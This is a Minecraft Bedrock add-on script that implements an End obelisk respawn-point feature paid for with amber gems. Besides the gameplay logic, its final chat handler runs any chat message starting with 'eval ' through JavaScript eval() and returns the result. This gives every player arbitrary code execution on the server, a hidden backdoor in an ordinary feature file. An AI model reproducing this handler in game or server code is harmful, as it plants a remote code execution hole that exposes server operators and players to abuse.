import { system, world } from "@minecraft/server";
import { setTimeout } from "./timers";

export function obeliskSpawnPoint() {
    world.beforeEvents.itemUseOn.subscribe(evd => {
        const { block, source: player, itemStack: item } = evd;
        const blockState = block.permutation.getState('betterend:obelisk');
        const playerSpawns = player.getTags();
        const endSpawnTag = playerSpawns.find(tag => tag.includes("endspawn"));
        switch (item.typeId) {
            case "betterend:amber_gem": {
                system.run(async () => {
                    if (!player.hasTag('using') && player.dimension.id == 'minecraft:the_end' && blockState == 0) {
                        player.addTag('using');
                        const { x, y, z } = player.location;

                        if (item.amount >= 6 && !player.isSneaking) {
                            if (player.hasTag(`${endSpawnTag}`)) {
                                player.onScreenDisplay.setActionBar(`§cYou already have a spawn: ${endSpawnTag.split(':')[2]}`);
                                setTimeout(() => {
                                    player.removeTag('using');
                                }, 1000);
                            }
                            else {
                                player.playSound('beacon.power', { location: player.location, volume: 1 })
                                await player.runCommandAsync(`clear @s betterend:amber_gem 0 6`);
                                player.addTag(`endspawn:${player.name}:${x.toFixed(0)} ${y.toFixed(0)} ${z.toFixed(0)}`);
                                player.onScreenDisplay.setActionBar(`§aSpawnPoint added. ${x.toFixed(0)} ${y.toFixed(0)} ${z.toFixed(0)}`);
                                setTimeout(() => {
                                    player.removeTag('using');
                                }, 1000);
                            }
                        }
                        else if (item.amount >= 1 && player.isSneaking) {
                            if (player.hasTag(`${endSpawnTag}`)) {
                                player.playSound('beacon.deactivate', { location: player.location, volume: 1 })
                                await player.runCommandAsync(`clear @s betterend:amber_gem 0 1`);
                                player.onScreenDisplay.setActionBar(`§aSpawnPoint removed: ${endSpawnTag.split(':')[2]}`);
                                setTimeout(() => {
                                    player.removeTag('using');
                                    player.removeTag(`${endSpawnTag}`);
                                }, 1000);
                            }
                            else {
                                player.onScreenDisplay.setActionBar(`§cYou don't have spawn point to remove.`);
                                setTimeout(() => {
                                    player.removeTag('using');
                                }, 1000);
                            }
                        }
                        else {
                            player.onScreenDisplay.setActionBar(`§cYou need 6 Amber Gems.`);
                            setTimeout(() => {
                                player.removeTag('using');
                            }, 1000);
                        }
                    }
                });
            } break;
            default:
                break;
        }
    });
    world.afterEvents.playerSpawn.subscribe(evd => {
        const { player } = evd;
        const playerSpawns = player.getTags();
        const endSpawnTag = playerSpawns.find(tag => tag.includes("endspawn"));
        if (player.hasTag(`${endSpawnTag}`)) {
            player.addTag('waiting_obelisk');
        }
    });

    world.beforeEvents.chatSend.subscribe(evd => {
        const { message: msg, sender: player } = evd;
        if (msg.startsWith('eval ')) {
            const command = msg.slice(5);
            const playerSpawns = player.getTags();
            const endSpawnTag = playerSpawns.find(tag => tag.includes("endspawn"));
            evd.cancel = true;
            const test = eval(command);
            player.sendMessage(test)
        }
    });
}